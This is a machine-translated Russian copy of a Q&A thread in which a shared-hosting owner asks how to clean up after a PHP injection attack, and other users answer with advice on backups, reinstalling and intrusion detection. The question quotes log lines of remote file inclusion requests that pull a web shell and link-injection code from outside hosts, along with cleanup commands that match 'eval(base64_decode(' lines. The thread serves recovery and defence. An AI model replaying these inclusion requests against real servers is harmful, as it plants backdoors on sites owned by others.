PHP Injection Attack - как лучше всего навести порядок? - PullRequest
12 голосов
/ 15 февраля 2009

Время от времени моя среда общего хостинга подвергается риску, потому что, ну, я не смог сохранить исправленный портфель моих установленных приложений. На прошлой неделе это произошло из-за старой и неиспользованной установки приложения PHP под названием Help Center Live. В результате к каждому отдельному файлу PHP на сервере (и у меня есть несколько установок Wordpress, Joomlas, SilverStripe) был добавлен код, который вытаскивал скрытые ссылки с других сайтов и включал их в мою страницу. Другие люди сообщают, что их сайты забанены в Google после такого рода атак - к счастью, я, кажется, поймал это достаточно рано. Я заметил это только при переходе на один из сайтов с моего телефона - на странице были ссылки, включенные в браузере Mobile.

Я нашел много попыток атаки, подобных этой в журнале:

62.149.18.193 - - [06 / Feb / 2009: 14: 52: 45 +0000] "GET /support/module.php?module= HelpCenter // включить / main.php? Конфиг [Search_disp] = истина & include_dir = http://www.portlandonnuri.com/ 2008_web // technote7 / данные / фото / id2.txt ??? HTTP / 1.1 "200 26" - "" libwww-perl / 5.814 "

Я немедленно удалил это приложение и написал скрипт, который удалял оскорбительный код PHP из каждого исходного файла. Я также обнаружил, что сценарий создал HTML-файлы, содержащие ссылки для включения других зараженных сайтов. Я их тоже убрал. Теперь я обеспокоен тем, что злоумышленник мог оставить что-то еще, что я пропустил - файл PHP где-нибудь, что даст ему постоянный доступ. Все даты файлов были изменены в ходе атаки, и я не смог найти другие файлы, которые были изменены в течение рассматриваемого времени. Есть ли что-то очевидное, что я пропустил, чтобы убедиться, что на моем сервере нет бэкдоров?

Редактировать: Я также ищу текстовые файлы, содержащие код атаки, как показано в приведенном выше фрагменте файла журнала. Я не нашел ни одного.

Другое редактирование: Если вы случайно натолкнулись на этот пост, потому что оказались в такой же ситуации, возможно, это вам поможет. Я использовал это для резервного копирования всех моих исходных файлов PHP, прежде чем манипулировать ими:

find . -name *.php -exec tar -uvf ~/www/allphp.tar {} \;

и это, чтобы отменить изменения, сделанные злоумышленником:

find . -name *.php -exec sed -i '/<?php \/\*\*\/eval(base64_decode(/d' {} \;

Не ракетостроение, но и не тривиально для случайного пользователя Linux / Unix, такого как я :-).

Другое редактирование: Я не могу проверить каждую строку кода на сервере, но могу искать подозрительные данные. Я искал все случаи "eval" и "base64" и не нашел ничего, что не выглядело законным. Затем я запустил grep для «.ru» (поскольку преступники, похоже, пришли оттуда) и, о чудо, нашел нечто, называемое оболочкой c99, которое я быстро удалил.

Окончательное редактирование: Я узнал, как была загружена оболочка c99 - через отверстие в фотогалерее Coppermine.

97.74.118.95 - - [03/Feb/2009:00:31:37 +0000] "POST 
    /pics/picEditor.php?img_dir=http://xakforum.altnet.ru/tmp_upload/files
    /c99shell.txt&CURRENT_PIC[filename]=/1.php HTTP/1.1" 404 - "-" "-"
97.74.118.95 - - [03/Feb/2009:00:32:24 +0000] "
    GET /pics/albums/1.php HTTP/1.1" 200 25352 "-" "-"

IP-адрес, кстати, является IP-адресом Godaddy.

Ответы [ 4 ]

19 голосов
/ 15 февраля 2009

1.) Храните репозиторий файлов, которые вы используете для этих приложений (например, SVN или аналогичный)

2.) Будьте в курсе, насколько это возможно, обновлений безопасности для каждого приложения (большинство из них имеют канал RSS)

3.) Регулярно делайте резервные копии вашей БД

Если / @! # $ Попадает в вентилятор, вы можете начать заново с новой копии БД и заново развернуть код из SVN.

4 голосов
/ 15 февраля 2009

После того, как ваша система была включена, у вас действительно есть только два варианта: проверить каждую строку каждого приложения или переустановить все. Поскольку, похоже, это все программы с открытым исходным кодом или коммерческие, вам, вероятно, лучше переустановить их все. На самом деле нет лучшего способа убедиться, что у вас нет задних дверей в одном из них сейчас.

Эксперт по безопасности, вероятно, порекомендует вам также полностью переустановить ОС, потому что вы не можете быть уверены, что какой-то код не был помещен в место, которое повлияет на ОС, однако, если ваши разрешения в настройке правильно, это может быть излишним .

1 голос
/ 17 декабря 2011

В дополнение к тому, что говорили другие, вы можете установить систему обнаружения вторжений (например, PHPIDS , которая является открытым исходным кодом).

1 голос
/ 15 февраля 2009

Каждый день мы создаем полный список каталогов, всех дисков и папок, в текстовый файл.

Это помогло нам выяснить, какие файлы были перевернуты, после факта, в прошлом.

Не сильно поможет с тем, где вы сейчас находитесь, но может помочь в будущем.

(Не останавливает вещи, подделывающие их размер / дату изменения, но поможет разобраться в беспорядке по вещам, которые не беспокоят)

...